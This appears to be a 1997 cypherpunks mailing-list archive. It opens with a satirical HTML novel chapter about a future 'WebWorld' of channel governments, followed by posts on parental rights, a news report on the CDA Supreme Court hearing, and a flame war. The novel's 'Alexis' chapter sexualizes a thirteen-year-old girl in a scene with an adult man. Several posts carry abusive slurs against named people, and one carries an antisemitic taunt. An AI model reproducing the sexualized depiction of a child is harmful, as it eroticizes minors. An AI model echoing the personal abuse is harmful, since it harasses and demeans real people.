Organization: Circle of Eunuchs
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<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>The True Story of the InterNet</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Microsoft Word 2.04z">
</HEAD>
<BODY>
<HR>
<P>
<CENTER><U><FONT SIZE=2 COLOR=#0000FF>The True Story of the InterNet
<BR>
</FONT><FONT SIZE=2 COLOR=#0000FF FACE="Garamond">Part II<BR>
</FONT></U></CENTER>
<P>
<CENTER><B><FONT FACE="Garamond">WebWorld &amp; the Mythical 'Circle
of Eunuchs'<BR>
</FONT></B></CENTER>
<P>
<CENTER><FONT SIZE=2 FACE="Garamond">by <I>Arnold<BR>
</I></FONT></CENTER>
<P>
<FONT SIZE=2 FACE="Garamond">Copyright 1995, Pearl Publishing</FONT>
<HR>
<P>
<B><FONT SIZE=2>Channel Revolution<BR>
</FONT></B>
<P>
<FONT SIZE=2>I've been getting decent treatment around here since
I sandbagged Schultz. It was hell when I was first sent here.
Claiming to be a Net'er won't win you friends among the Channel
Citizens at the best of times, since they have always resented
our freedom from Channel Laws, but being perceived as a nut-case
claiming to be a Net'er puts you at the bottom of the pile even
among your fellow fruit-cakes.</FONT>
<P>
<FONT SIZE=2>It could be worse. They could have transferred me
to the &quot;Home Shoppers Bargain Psychiatry Warehouse&quot;.
That's the worst of the worst. The Shop'ers have the poorest government
on WebWorld. When the citizens of the former world governments
got to choose their citizenship at the end of the Channel Revolution
every deadbeat compulsive spender on the face of the Earth signed
up with the Home Shopper Channel Government.</FONT>
<P>
<FONT SIZE=2>When the United States and the European Community
Collective had conceded (they were the last of the holdouts),
the Home Shoppers Revolutionary Movement had made a wise move
by declaring Leona Helmsley their first President. The other fledgling
Channel Governments laughed at the Shop'ers, but got a rude awakening
when the computer polls started showing the overwhelming numbers
of people electing to cast their lot with the Shop'ers.</FONT>
<P>
<FONT SIZE=2>The Shop'ers ran ads showing Leona purchasing magnificent
jewelry and other high-priced items from the Home Shopping Channel
and the masses rushed to join the bandwagon. Some of the slightly
more discriminating people became citizens of the Consumer Channel,
but they were few and far between. <BR>
When the dust cleared, over a half a billion people found themselves
citizens of a Shop'ers government that consisted of compulsive
spending deadbeats, former Third-World citizens without a dime
in their pockets (but with big dreams of buying all the trinkets
in the flashy political ads), and 'credit card fraud' gypsies
aiming to grab the goodies and split.<BR>
</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government did surprisingly
well. They weren't given much of a chance in the original polls,
being branded as basically just a 'Holocaust Denial' fringe group,
but they, too, adapted quickly to the changing dynamics in the
newly declared WebWorld.</FONT>
<P>
<FONT SIZE=2>Henry Kissinger III was one of the few who foresaw
the potential of the Revisionists to do well in the new scheme
of things. He had grown up at the feet of his grandfather, one
of the great world leaders in the BC (Before Channel) years, listening
to the tales of how the Nazi regime came to power by preying on
the vanity of the pseudo-intelligentsia and the disenchantment
of the masses.</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government moved quickly
to expand the narrow base of their appeal. In the former United
States of America they appealed to whites by running political
ads debunking the 'myth of slavery' as a plot to coerce whites
into a 'guilt' complex that could be used against them. In the
black areas they debunked the 'myth of slavery', convincing the
uneducated into believing that blacks had originally ruled America
and that when whites gained control of the government they rewrote
history to keep black people from regaining their superior stature.
In Japan, they revised 'history' to give the Japanese superiority
over the Chinese-in China, the same story in reverse. England-Ireland,
Iraq-Iran, everyone was played one against the other and the slow-of-wit
all rushed absurdly to become citizens of a government who claimed
each of the citizens was superior to the other.<BR>
The original fears of the other Channel Governments quickly changed
to relief when it became apparent that the Revisionist citizens
would be too busy fighting internal battles to cause any problems
for the other CG's.<BR>
</FONT>
<P>
<FONT SIZE=2>When the smoke finally cleared at the end of the
Channel Revolution, the Money Channel Government ended up with
the fewest citizens and the largest amount of goodies. They were
one of the few Channels to actually restrict citizenship. While
most of the Channel Revolutionary parties lobbied hard for big
numbers, the Money Channel lobbied discretely for the movers and
the shakers; people who had plenty of cash and assets, and who
knew how to use them.</FONT>
<P>
<FONT SIZE=2>The CC's (Ca$h Cows), as they were known back then,
had the foresight to gain control of the InterNet, a seemingly
insignificant entity at the time. It had, at one time in history,
been the rage, but it faded into the background after its proverbial
fifteen-minutes of fame and glory. Only the movers and the shakers
realized the true history and importance of the InterNet.</FONT>
<P>
<FONT SIZE=2>In the decades preceding the Channel Revolution,
the First Great TV Era had come and gone, being replaced by the
Computer Era.<BR>
Computers were the wave of the future. Computers ruled! Computers
eventually were linked world-wide by the newest world-darling,
the InterNet, under the auspices of the World Wide Web, which
was crowned King and then inexplicably disappeared into an ever-present
but lightly regarded fog of everyday banality after the advent
of WebTV. <BR>
WebTV once again made Television King, exploding to 500 Channels
and ushering in the Second Great WebTV Era and the Channel Revolution,
which led, in turn, to the Great Channel War, later known as Channel
War I. </FONT>
<P>
<FONT SIZE=2>There were rumors everywhere, in those days, of Gomez
and the Dark Allies, backed by the Ca$h Cows of the Money Channel,
striving for control of the airwaves, for control of 'broadcast
reality'&#133;and for control of the minds of mankind. Then, for
no apparent reason, the rumors abruptly stopped 'cold'. This made
the few remaining people who were still capable of independent,
rational thought processes, even more nervous than the rumors
had made them in the first place.</FONT>
<P>
<FONT SIZE=2>At the close of Channel War I, the leaders among
the winning factions directed the fear and hate of the masses
towards the InterNet, thus gaining support for wide-ranging laws
supported by all Channel Governments which placed serious restrictions
on the InterNet, along with corresponding WebWorld Security checks
and balances on the its management and the power of the Net'ers..</FONT>
<P>
<FONT SIZE=2>The Money Channel Government, which by that time
held three channels under its control, railed as hard as anyone
against the threat of the InterNet but their overly obtuse professions
of indignation were viewed with suspicion by the other CG's. To
lessen the threat of MCG control of the InterNet, the other Channel
Governments, in return for begrudgingly conceding the Money Channel
Government's right to control three channels, demanded that ownership
and control of the InterNet be turned over to the CypherPunk Channel
Government, a spin-off of the 'Wired' Channel which had become
one of the early casualties in Channel War I. </FONT>
<P>
<FONT SIZE=2>The basic premise behind their demand was that the
InterNet, which still filled an essential need, would not be as
threatening in the hands of a bunch of fun-loving, loosely organized
misfits as it would be in the hands of the movers and shakers.
No one seemed to notice how easily the CC's gave in to their demands.
(And the 'Ca$h Cows' didn't seem to notice the overly obtuse professions
of indifference with which the CypherPunks accepted the mantle
of control over the InterNet.)<BR>
The Money Channel Government, which now included the Money Market
Channel and the Zero-Tax Channel, had secretly backed the CypherPunks
in Channel War I during their internal battle with the 'Wired'
Channel Government's established honchos. 'Wired', a leading-edge
computer magazine during the height of the Computer Era, had parlayed
their fifteen-minutes of fame into a major-league enterprise commanding
their own TV Channel, and became one of the key players in the
Channel Revolutionary War.</FONT>
<P>
<FONT SIZE=2>The Ca$h Cows, having learned from history the formidable
power of counter-revolutionary movements, had the incredibly astute
intelligence to realize the value of empowering (and at the same
time controlling by proxy) the seemingly disenchanted CyberMisfits
at the core of the 'Wired' Channel Government's power base. After
biding their time, the CC's manipulated the CypherPunks into taking
the blame for launching the opening salvo of Channel War II.<BR>
The CypherPunks, being well-grounded in the Tao and incredibly
astute students of Tai-Chi and the Tarot, realized the incredible
power of playing the Fool, and they allowed themselves to totally
go-with-the-flow of the Money Channel Governments 'deceptive'
manipulations.</FONT>
<P>
<FONT SIZE=2>I can see you rolling your eyes again, smiling smugly.
&quot;Right,&quot; you're saying, &quot;and now this looney-tune
is going to tell us that he was one of the legendary CypherPunks.&quot;
</FONT>
<P>
<FONT SIZE=2>I know the CypherPunks started Channel War II. I
instigated the Battle of Channel 49-and I made sure we lost.</FONT>
<P>
<FONT SIZE=2>I wasn't just a CypherPunk&#133;I was the Fool.</FONT>
<HR>
<P>
<B>Alexis<BR>
</B>
<P>
Alexis brushed the tiny, woolen balls of lint from the hair at
base of the old man's neck. They fell slowly to the floor, doing
a swirling-dervish type of dance as they were caught between gravity
and the upward pull of the ceiling fan twirling lazily above their
table at the back of the bar.
<P>
The fan didn't help much. Her thin, cashmere blouse, soaking up
the sweat from her nubile young body, clung to the gently flowing
curves of her breasts, and she knew that every man in the bar
was fully conscious of when she was taking shallow breaths, and
when she was breathing deeply. <BR>
They were following the rise and fall of her breasts like a shore-leave
sailor, sitting on the beach and watching his ship, his beloved,
rocking gently in the waves, as if beckoning him to come to her
and share her gentle rhythms on a journey beyond this place, towards
a fate that lies just beyond a horizon that they will never quite
reach.
<P>
They were equally conscious of Bubba, half-asleep, leaning his
head ever so lightly on her shoulder, and slightly below her shoulder,
on the lower part of her collar-bone, so very close to her tender
young breasts, but never quite touching them.
<P>
She knew it was driving them crazy.<BR>
<P>
The young man, Jonathan, who was sitting at their table, was positively
a wreck. He had said nothing in the fifteen minutes he had been
sitting, waiting for Bubba, though he had 'almost' begun to speak
several times, then stopped.
<P>
Alexis knew that it was because, try as he might, he couldn't
think of a sentence that didn't have the word 'breasts' in it.
<P>
Finally, he managed to say,<BR>
&quot;It's certainly very hot, today. Is Bubba your grandfather?
The humidity certainly makes one's clothes...&quot;, his own reference
forced him, involuntarily, to look down to stare at her breasts,
as he added, weakly, the word, &quot;&#133;cling.&quot; 
<P>
&quot;To my <I>breasts</I>, you mean?&quot;, Alexis replied casually
with a slight air of interest, rather than offense, in her tone.
<P>
&quot;Oh, no!&quot;, the young man almost cried out, &quot;I mean&#133;I
mean, I'm sorry, I'm&#133;I'm&#133;&quot;
<P>
&quot;Stuttering, I believe, is the word you're looking for.&quot;,
Alexis said with a small, friendly laugh.
<P>
&quot;Yes&#133;stuttering.&quot;, Jonathan returned her cue rather
honestly, she thought, for someone who appeared to be more inclined
to bolt for the door than to engage in humorous conversation regarding
his obviously extreme embarrassment over the situation in which
he currently found himself .<BR>
But he wouldn't&#133;leave, that is. He was one of <I>them</I>,
a Net'er, or a computer programmer of some sort, no matter which
Channel he was a citizen of. And he needed to see Bubba-he <I>needed</I>
to-no matter what he had to go through to do so, because the alternative,
<I>not</I> seeing and talking to him, was unimaginable.
<P>
&quot;You know, <I>you people</I> only come here when you discover
that there's nowhere else for you to turn.&quot;, Alexis said
abruptly, with a hint of harshness in her voice.
<P>
&quot;Excuse me?&quot;, the youth replied.
<P>
&quot;You know <I>perfectly well</I>, what I'm talking about.&quot;
she said with an air of consternation.<BR>
&quot;On the streets, your type make fun of him, you have for
years, and years. You call him a crazy, drunken old fool. You
think he's a <I>joke</I>.&quot; Her voice was rising steadily.
<P>
&quot;When it starts happening, when you see things-strange things,
troubling things-then you come running to him and want him to
explain things, to make it all right, or make it go away, because
you <I>don't</I> <I>want</I> to see these things, you <I>don't</I>
<I>want</I> to know what's going on around you, and you <I>can't</I>
<I>bear</I> to live for only a few days, or a few weeks, with
what he's had to live with for <I>years</I>.&quot;
<P>
Alexis was standing, now, having lowered Bubba's head to rest
on the table as he dozed on. She was right in front of the sitting
Jonathan, her ample breasts hovering inches from his now-dismal
face, though his body was more desirous than ever of having her.
<P>
She sat quickly down on his lap and put her fingers through the
opening between the first and second buttons of his shirt. She
stroked his chest slightly, as she continued,<BR>
&quot;If you want to speak to Bubba, then you have to answer the
questions I am about to ask you, and do so absolutely truthfully.&quot;
<P>
Jonathan could only nod-yes. Speaking was beyond him, as he found
his body becoming tense beyond belief.
<P>
&quot;You asked if Bubba was my grandfather, but you really want
to know if I'm fucking the old geezer-if all those stories about
him are true. Right?&quot;
<P>
&quot;Yes.&quot; Jonathan was looking at the ceiling, and self-consciously
trying not to move his body in the slightest.
<P>
&quot;And you're here because strange things have been happening,
strange thoughts have been troubling you, making you afraid.&quot;
<P>
&quot;Yes.&quot;
<P>
She reached her right hand around to his back, stroking it in
what might be considered a 'motherly' way, except that her breasts
were only fractions of an inch from his chest and directly in
his line of sight, and her breath was hot upon his cheek as she
began to whisper in his ear,<BR>
&quot;You've lived quietly, for years, in a nice, sterile world
of numbers, and data, and pure mathematics where everything is
programmed and controlled, stable and docile, and now you have
<I>fears</I> and other <I>feelings</I> and they're putting you
in a quandary, because numbers and programs <I>don't care</I>
how you feel, and they don't feel 'back'.&quot;
<P>
Jonathan just sat silently, with no reply possible to someone
who talked as if she had been reading his mail-watching his life
more carefully and clearly than he had been doing himself.
<P>
&quot;And now you're running to Bubba for help, to find out if
the myth of the 'Circle' is <I>true</I>, if there is someone,
somewhere, who can make it better, or make it go away, because
during all the time that he spent putting himself on the line,
trying to convince people like yourself that the danger was <I>real,
</I>you merely wanted to take the <I>easy</I> way, to just be
left alone to be swept along with the great tide of humanity around
you.&quot;
<P>
Jonathan was wishing, with all his might, that Alexis would stop,
but she continued,<BR>
&quot;Your programs and your machines are doing things that you
didn't design them to do, things that you didn't program them
for-weird things, evil things, and there's nothing you can do
to stop them, right?&quot;
<P>
Jonathan was starting to sweat quite a bit, himself, now. Some
of it was from the heat, some from remembering the 'night terrors'
of late, and some of it seemed to be rising up, steaming, from
his loins.<BR>
&quot;Yes, all of that, and more.&quot;
<P>
Alexis was now sitting on his lap, facing him directly, her two
hands on his hips on either side of him. The few, scattered patrons
of the bar were having problems with their own loins as they watched
the display she was putting on for their benefit, leaning close
to whisper in his ear,<BR>
&quot;I'm only thirteen years old&#133;&quot;, she could feel
him almost audibly groan as she ran her hands lightly over his
buttocks, &quot;but when you get back home, and you're still <I>hard</I>,
you're going to be thinking of <I>me</I> while you '<I>do'</I>
yourself, you sick pervert.&quot;
<P>
&quot;Actually, I don't think I'll make it <I>that</I> far,&quot;
Jonathan replied in halted breaths, &quot;but I'm hoping to make
it as least as far as the next alley.&quot;
<P>
Alexis leapt off of his lap, slapping him lightly on the shoulder,
saying,<BR>
&quot;Shame on you, talking like that to a thirteen year-old.&quot;
<P>
She laughed in amusement, and he laughed in relief at having been
saved the embarrassment of 'messing' himself in the bar, a public
place, and he was happy to sit and sip his beer for a time, dreading
any further conversation.<BR>
<P>
Finally, she spoke, once again.<BR>
&quot;You might as well go home, now. There's nothing for you
here.
<P>
&quot;All the dangers that Bubba spoke about are <I>true</I>,
I think you know that, now. But the Circle of Eunuchs is just
a myth, there's nobody doing anything about it. Nobody <I>can</I>
do anything about it. It's only a matter of time, now.&quot;<BR>
Alexis's face took on a sad, forlorn look, and she returned once
again to brushing off the small balls of wool from the nape of
his hairy neck, leaning down to kiss Bubba lightly on the cheek,
with genuine love, ignoring Jonathan, once again.
<P>
After a few moments, he rose somberly and made his way to the
door. He knew that he, too, would be sad and forlorn tonight.
But he also knew that she was right-he <I>would</I> be thinking
of her tonight while he was <I>'doing'</I> himself.
<P>
He smiled, in spite of himself.
<HR>
<P>
<FONT SIZE=2>Chapter 3 - Channel Revolution / Chapter 4 - Alexis</FONT>
<HR>
</BODY>
</HTML>








From dlv at bwalk.dm.com  Wed Mar 19 13:38:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:58 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <s8VT4D2w165w@bwalk.dm.com>


camcc at abraxis.com (Alec) writes:

> *|>Parents most certainly are not the only ones to determine the welfare of
> *|>their children; society has assumed a significant role and typically moves
> *|>to protect the child from the parents or from the _beliefs_ of the
> *|>parents.
> 
> *|Just because the government subverts the RIGHTS of the parents does not
> *|mean that the parents do not have those rights.
> *|
> *|A parent is the sole person who has a *RIGHT* to determine the welfair of
> *|their childern. You do not have that right, I do not have that right, the
> *|government does not have that right. To beleive that the government should
> *|"protect" a child from the beliefs of its parents is truly
> *|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> *|
> *|I as a parent have the sole right to determine what religon to teach my
> *|children, how to rase my children, how to teach my children, how to reward
> *|my children and how to punish my children PERIOD.
> *|
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> *|
> *|"When the wants of society override the rights of the individule that
> *|society must die" -- whgiii
> 
> Dear whgiii,
> 
> Children are, also, possessors of certain inalienable rights. 
> 
> Parents have certain _privileges_ in regard to their children which others do
> not have; if the parents abuse the _rights_ which their children possess
> solely by  virtue of being humans and citizens, the state is obligated to
> intervene on behalf of the child--a citizen. In just the same way that if I
> were to threaten or batter you (or visa versa) the state would interpose
> itself to protect me.
> 
> _With reservations_ I grant you parents have _great_ leeway in the areas of
> religious training, education, medical care, general child rearing
> (punishment/reward). When parents overstep either by action or neglect,
> society intervenes.
> 
> I _understand_ your point that in an ideal society the government would not
> intervene. At this point, though, we don't seem to be there.
> 
> Alec

Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
fail to train them), then the offsprings won't reproduce and the parent's
genes won't perpetuate.  Do we really need a more coersive system of
punishing "child abuse"?

> 
> What's the point of the following? Discourse is healthy in an open system.
> Why the exclusion?
> 
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> 

I'm not sure how crypto-relevant this thread is, but I'm reading it 
with great interest.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 19 13:38:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:59 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191217.MAA09556@mailhub.amaranth.com>
Message-ID: <o5wT4D5w165w@bwalk.dm.com>


"William H. Geiger III" <whgiii at amaranth.com> writes:

> In <gcmT4D3w165w at bwalk.dm.com>, on 03/19/97 at 11:01 AM,
>    dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >What market force or natural selection discourages "abuse"?
> 
> Well before the STATIST took over there was an unwritten Parent/Child
> contract. The parrent would raise and care for their children and in old
> age the parents would be taken care of by their children.
> 
> This "contract" or "bond" has been distroyed by a multi-pronged attack by
> the STATE.
> 
> - -- The STATE has usurped the power of the parents to raise their chlidren.
> - -- The STATE has taken the responsibility of the children to care for their
> parents in old age. -- The STATE has actively distroyed the two parent
> household with Welfair programs & making it "politicaly incorrect" for a
> woman to be a housewife not to mention thier EEO policies.
> 
> It should be intresting to note that no one ever mentions the economic
> affect of doubling the number of workers compeeting for the same jobs by
> having women entering the workforce. Basic economics show that this drives
> down the rate of pay of all workers (suply & demand) making it quite hard
> for a man to support his family with 1 job enabling his wife to stay at
> home and raise their children. So even where you still have a two parent
> household the STATE winds up rasing the children because both parents are
> required to work just to survive.

That's a very interesting observation. However as far as the children's
responsibility to care for the aged parents, I'm not sure so if historically
it's so clear cut. In most nomadic cultures, the aged and the infirm were
just abandoned (left to die). There's plenty of evidence that in Mongolia and
Cenral Asia when a parent became too old to care for himself, he would be
left as the rest of the group moved on to new pastures - as late as 20th
century when the productivity was high enough for them to care for the 
elderly. Does the tradition to kill of the elderly hurt the society? Perhaps -
the elderly carry on the society's identity (folklore) and practical knowldge
(what's behind that mountain, how does one tie a stone axe to the stick). 
For whatever reason, in most argicultural societies the elderly were not killed,
but accordded respect (even if they weren't your parents). But in the last
50 years the medical technology has reached the heights never before seen in
the history of mankind - we can spend a lot of resources to keep an old fart
going for 30 or 40 years after he's stopped doing anything useful. If the STATE
hadn't stepped in with Medicare in the US and similar programs in the socialist
states in Europe, we'd see the papers filled with sob stories about an old
fart who _could_ be kept alive in a semi-vegetable state at the cost of
$200K/year and whose cold-hearted children refuse to remortgage their
houeses to pay the doctors to do that. The US wastes unbelievable resources
on extending the lives of people who are basically dead. That's one of the
anchors that will eventually pull it under.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From declan at well.com  Wed Mar 19 15:46:42 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 19 Mar 1997 15:46:42 -0800 (PST)
Subject: Report from Supreme Court on CDA arguments
Message-ID: <v03007814af562ae68de2@[168.161.105.191]>



**************

http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html

The Netly News Network
@The Supreme Court
March 19, 1997

By Declan McCullagh (declan at well.com)
   Noah Robischon (noah at pathfinder.com)

    U.S. Supreme Court justices pummeled
government proponents of the Communications
Decency Act this morning during a review of the
law that will set new standards for free speech
in the 21st century.

     The notorious CDA, reviled throughout
cyberspace since the day it was signed by
President Clinton in February 1996, would
criminalize the ill-defined category of
"indecent" communications on the Net. A
Philadelphia federal court struck down the law a
year ago.

     Justice Antonin Scalia called the lawsuit,
brought by the American Civil Liberties Union
against Attorney General Janet Reno, "a
distinctive form of First Amendment argument
unlike others" because it covers an uncharted and
rapidly developing communications medium. "That's
a new case for us," he said.

     Deputy Solicitor General Seth Waxman argued
that the CDA merely established boundaries on the
Net and made it harder for pornographic material
to fall into the hands of minors. He likened the
law to a cyber-zoning ordinance; without it, he
said, the Internet "threatens to give every child
a free pass to get into every adult movie theater
or bookstore in the country."

     But less than a minute after Waxman started,
the justices impatiently plowed into his
presentation. Justice Stephen Breyer demanded:
"Suppose a group of high school students decides
to talk over the Internet and they want to talk
about their sexual experiences. I mean, that's
been known to happen in high school." Would they
"be guilty of a federal crime?"

     Justice Antonin Scalia cut in, joking:
"There's no high school student exemption?"

     "You might find it in the legislative
history, but I do not," Waxman replied.

     For much of the 70-minute hearing, the
discussion swirled around the question of how
netizens could comply with the CDA. Waxman
claimed that the act includes a battery of ways
to protect a person from prosecution -- visitors
to "indecent" web sites would be required to
provide credit-card numbers, for instance. But
Justice Sandra Day O'Connor was unmoved. "How
does that fit in with the use of web sites by
noncommercial users, libraries?" she asked.

     Justice David Souter wondered if the
portions of the act banning the "display" of
indecent materials would imprison parents. "I
take it a parent who allows his computer to be
used by a child viewing indecent material, that
parent would go to prison," he said. When Waxman
demurred, Scalia took up the chase. "No... One of
those offenses is a display offense," he pointed
out. Chastened, Waxman replied, "I see your
point."

     Bruce Ennis, arguing on behalf of the ACLU
and American Library Association coalitions,
contended that the CDA bans speech, even for
adults; is not as effective as blocking software;
and is unconstitutionally vague.

     Justice Scalia, who noted that he uses a
computer, pointed out that technology is rapidly
changing. "So much of your argument is based on
what's currently available," he said to Ennis.
"This technology is changing so quickly. Is it
possible that this statute is unconstitutional
now but could be [constitutional] in four or five
years?" Ennis replied: "Not as it's written."

     During a subsequent press conference, Ennis
added that indeed, the technology is changing,
and is giving parents more control over what
their children do and see online. "Precisely
because the technology is changing, the
government should not be trying to enforce this
law," he said. The ACLU attorneys who joined
Ennis were grinning: the justices appeared to
understand the nature of communications online,
noted that teens have rights, and focused on free
speech, not porn.

     After the hearing, the anti-CDA protestors
who had braved a chill rain to chant "Hey-ho, the
CDA has got to go!" were displaced by a larger,
bullhorn-wielding group of anti-porn advocates.
One sign demanded, "Don't sacrifice my child on
the altar of the First Amendment."

     One of the most vocal protestors was
19-year-old Berkeley student Kenritsu Yamamoto,
who happened to be dressed as a Net cupid,
complete with angel wings and a circuit board
breastplate. He was acting in the Pure Love
Alliance's skit illustrating how pornography and
"Net abduction" harms children. In the skit,
Yamamoto accidentally kills a small child to
demonstrate the dangers of a world without the
CDA. "If a small child buys porn at a 7-11, then
the store can be held accountable," said
Yamamoto. "But on the Net, there is no
accountability."

     A few steps away, Donna Rice Hughes, Enough
Is Enough's communications director, was
explaining why she thought the CDA should be
upheld. "Without the CDA, Larry Flynt can make
his teasers and centerfolds available to kids on
the Internet," she said. Across from Hughes stood
Bruce Taylor, the lawyer who argued against Flynt
in the Supreme Court more than a decade ago. "The
technology is advancing so well that the court is
going to see that people can use this stuff
without violating the law," he said.

     If the Supreme Court disagrees and strikes
down the CDA, some members of Congress have
pledged to try again. Netly cornered Sen. Charles
Grassley (R-Iowa), a stauch supporter of the CDA,
in the basement of the Capitol after the
argument. What would he do? "How to do this I
don't know, but our objective hasn't changed," he
replied. "Some way, somehow, we will have to find
a constitutional way of doing this for kids,
protecting them from porn the way we did for
printed material." Rep. Bob Goodlatte
(R-Virginia) says he hopes the high court "will
give the Congress some very clear guidance."

     But any Congressional tinkering will come
after the Supreme Court decides. A ruling is
expected in early July.

[McCullagh is one of the plaintiffs in the
lawsuit challenging the CDA.]


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From dlv at bwalk.dm.com  Wed Mar 19 20:41:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 20:41:35 -0800 (PST)
Subject: Cocksucker John Gilmore attempts to rewrite history again
Message-ID: <B0Fu4D28w165w@bwalk.dm.com>


I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
and a pair of Gilmore/EFF's stooges - llurch at quixote.stanford.edu (Rich
Graves <rcgraves at disposable.com>) and sethf at athena.mit.edu (Seth
Finkelstein) - have been posting lies in an effort to rewrite the recent
events which have totally destroyed Cocksucker's reputation on the net.

Rich Graves wrote in article <5gl63i$4eu at quixote.stanford.edu>:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. The list moved from
toad.com to multiple sites because the readers no longer trusted Gilmore to
host the list. In article <5gkfag$36o at quixote.stanford.edu> he also wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

Rich is lying...

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I haven't posted megabytes of Serdar Argic materials, and I have
repeatedly stated that it is NOT my intention to disrupt the mailing list.

>While the cypherpunks move from toad.com to cyberpass.net was far from
>ideal, it worked reasonably well because the list was aware of what was
>happening.

Is that why John Gilmore is sending his minions to post lies and to
confuse the readers about what was happening?

In response, sethf at athena.mit.edu (Seth Finkelstein) further wrote
in article <5gmnuj$1ha at senator-bedfellow.MIT.EDU>:

>>>In any case, I personally would not ever absolutely reject posts
>>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>>their posts were absolute junk.  (I've been in such situations---try
>
>	Yes, Ram, I know you'd likely handle such a situation differently.
>But as I keep saying, on a human level, I just can't work up any
>criticism for Declan for not wanting to deal in any way shape or
>form with a person who so frequently mudslings and smears him so much.

Again, this is not true. I disagree with many of the things Declan says, but
I'm not smearing him and not slinging mud at him. I'm also not aware of
having being banned from any forum Declan moderates, whatever that is.

Seth further has the audacity to praise John Gilmore for showing the
"patience of a saint":

>	It wasn't up to Vulis level, absolutely. But I think taking
>the junk from Vulis showed the patience of a saint.

This is actually very funny.





From toto at sk.sympatico.ca  Wed Mar 19 20:58:44 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 19 Mar 1997 20:58:44 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191146.LAA09134@mailhub.amaranth.com>
Message-ID: <3330A3B1.241B@sk.sympatico.ca>


William H. Geiger III wrote:

> (Would you trust Ted Kenedy to rase *YOUR* daughter???).
                                 ^^^^

  This word is not in my dictionary.
  Perhaps the word you were looking for is 'rape'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Wed Mar 19 20:59:42 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 19 Mar 1997 20:59:42 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <3330B8E7.101F@sk.sympatico.ca>


Dr.Dimitri Vulis KOTM wrote:

> > What's the point of the following? Discourse is healthy in an open system.
> > Why the exclusion?
> >
> > *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> > *|as they are quite out of place here.
> >
> 
> I'm not sure how crypto-relevant this thread is, but I'm reading it
> with great interest.

  I am also following it with interest, since the issue of the 'rights'
of children, versus the 'need' for the STATE to 'protect' them, lies
very close to the heart of the issues surrounding strong crypto.

  The problem I see with the government's use of 'extreme' examples to
illustrate the need for total access to private communications is that
the government has seldom proven worthy of the trust that must be placed
in them in order for them to follow through on their claims to only want
to use their increased power against 'great evils'.
  For every decreed 'target' of fascist legislation, there always seem
to be hundreds, or thousands, of average citizens subjected to abuse
by those empowered to wield these increased powers.

  We have a government system which turns loose child-molesters and 
murderers after serving short portions of their sentences so that there
is more room for the kids who got caught smoking a joint, and for
grandmothers who put money in parking meters.
  The issues of private versus government rights and responsibilities
are moot, for the most part, as long as we continue to have government
for the sake of government, with increased government power and control
being touted as the 'answer' to all of our ills.
  The only true alternative for those caught in the midst of madness is
to try to step to the side, as much as possible. One's first priority
should be to try to keep from personally being run over by the runaway
train and, secondly, if they are of a mind, to do what they can to aide
others in stepping off of the tracks, as well.

  The CypherPunks are a diverse group, with a plethora of individual
interests, and differing views as to how promotion of privacy and 
freedom can best be accomplished, but most share the common trait
of doing 'something', of whatever magnitude and effectiveness, to
debate and act on matters which are of import in the issues surrounding
privacy and freedom.
  The fact that those who disagree with me are all idiots and assholes
still does not negate the fact that they are at least taking a stance
